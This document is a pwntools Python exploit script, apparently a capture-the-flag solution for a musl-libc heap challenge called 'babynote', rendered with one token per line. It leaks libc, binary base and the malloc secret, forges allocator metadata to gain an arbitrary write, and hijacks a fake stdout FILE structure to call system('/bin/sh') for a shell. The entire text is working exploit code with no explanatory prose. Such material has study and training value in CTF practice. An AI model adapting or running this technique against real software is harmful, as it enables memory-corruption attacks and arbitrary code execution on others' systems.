from
platform
import
libc_ver
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
io
=
lambda
: r.interactive()
sl
=
lambda
a : r.sendline(a)
sla
=
lambda
a,b : r.sendlineafter(a,b)
se
=
lambda
a : r.send(a)
sa
=
lambda
a,b : r.sendafter(a,b)
lg
=
lambda
name,data : log.success(name
+
":"
+
hex
(data))
def
z():
gdb.attach(r)
def
cho(num):
sla(
"option: "
,
str
(num))
def
add(namesz,name,notesz,note):
cho(
1
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
sla(
"note size: "
,
str
(notesz))
sa(
"note content: "
,note)
def
find(namesz,name):
cho(
2
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
def
delet(namesz,name):
cho(
3
)
sla(
"name size: "
,
str
(namesz))
sa(
"name: "
,name)
def
remake():
cho(
4
)
def
exp():
global
r
global
libc
r
=
process(
"./babynote"
)
libc
=
ELF(
'./libc.so'
)
add(
0x38
,
"a"
*
0x38
,
0x38
,
"a"
*
0x38
)
cho(
4
)
for
_
in
range
(
8
):
find(
0x28
,
"a"
*
0x28
)
add(
0x38
,
"2"
*
0x38
,
0x28
,
"2"
*
0x28
)
add(
0x38
,
"3"
*
0x38
,
0x38
,
"3"
*
0x38
)
delet(
0x38
,
"2"
*
0x38
)
for
_
in
range
(
6
):
find(
0x28
,
"a"
*
0x28
)
add(
0x38
,
"4"
*
0x38
,
0x58
,
"4"
*
0x58
)
find(
0x38
,
"2"
*
0x38
)
r.recvuntil(
"0x28:"
)
libcbase
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
-
0xb7d60
elfbase
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
-
0x4c40
log.success(
"libcbase:"
+
hex
(libcbase))
log.success(
"elfbase:"
+
hex
(elfbase))
malloc_context
=
libcbase
+
0xb4ac0
mmap_base
=
libcbase
-
0xa000
fake_meta_addr
=
mmap_base
+
0x2010
fake_mem_addr
=
mmap_base
+
0x2040
stdout
=
libcbase
+
0xb4280
for
_
in
range
(
6
):
find(
0x28
,
"a"
*
0x28
)
pd
=
p64(elfbase
+
0x4fc0
)
+
p64(malloc_context)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
find(
0x28
,pd)
find(
0x38
,
"a"
*
0x38
)
r.recvuntil(
"0x28:"
)
secret
=
u64(p64(
int
(r.recv(
16
),
16
),endianness
=
"big"
))
lg(
"secret"
,secret)
add(
0x28
,
"5"
*
0x28
,
0x1200
,
'\n'
)
last_idx, freeable, sc, maplen
=
0
,
1
,
8
,
1
fake_meta
=
p64(stdout
-
0x18
)
fake_meta
+
=
p64(fake_meta_addr
+
0x30
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
fake_mem
=
p64(fake_meta_addr)
fake_mem
+
=
p32(
1
)
+
p32(
0
)
payload
=
b
'a'
*
0xaa0
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
fake_mem
+
'\n'
find(
0x1200
,payload)
for
_
in
range
(
3
):
find(
0x28
,
"a"
*
0x28
)
pd
=
p64(elfbase
+
0x4fc0
)
+
p64(fake_mem_addr
+
0x10
)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
add(
0x38
,
"6"
*
0x38
,
0x28
,pd)
delet(
0x38
,
"a"
*
0x38
)
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
fake_meta
=
p64(
0
)
fake_meta
+
=
p64(
0
)
fake_meta
+
=
p64(fake_mem_addr)
fake_meta
+
=
p32(
0
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
p64(
0
)
fake_mem
=
p64(fake_meta_addr)
fake_mem
+
=
p32(
1
)
+
p32(
0
)
payload
=
b
'a'
*
0xa90
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
fake_mem
+
b
'\n'
find(
0x1200
, payload)
for
_
in
range
(
2
):
find(
0x28
,
'a'
*
0x28
)
pd
=
p64(elfbase
+
0x5fc0
)
+
p64(fake_mem_addr
+
0x10
)
+
p64(
0x38
)
+
p64(
0x28
)
+
p64(
0
)
add(
0x38
,
"7"
*
0x38
,
0x28
,pd)
delet(
0x38
,
"a"
*
0x38
)
last_idx, freeable, sc, maplen
=
1
,
0
,
8
,
0
fake_meta
=
p64(fake_meta_addr)
fake_meta
+
=
p64(fake_meta_addr)
fake_meta
+
=
p64(stdout
-
0x10
)
fake_meta
+
=
p32(
1
)
+
p32(
0
)
fake_meta
+
=
p64((maplen <<
12
) | (sc <<
6
) | (freeable <<
5
) | last_idx)
fake_meta
+
=
b
'a'
*
0x18
fake_meta
+
=
p64(stdout
-
0x10
)
payload
=
b
'a'
*
0xa80
payload
+
=
p64(secret)
+
p64(
0
)
payload
+
=
fake_meta
+
b
'\n'
find(
0x1200
, payload)
cho(
1
)
sla(
'name size: '
,
str
(
0x28
))
sa(
'name: '
,
'\n'
)
sla(
'note size: '
,
str
(
0x80
))
fake_IO
=
b
'/bin/sh\x00'
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(libcbase
+
0x5c9a0
)
fake_IO
+
=
p64(
1
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(
0
)
fake_IO
+
=
p64(libcbase
+
libc.sym[
'system'
])
sl(fake_IO)
io()
if
__name__
=
=
'__main__'
:
exp()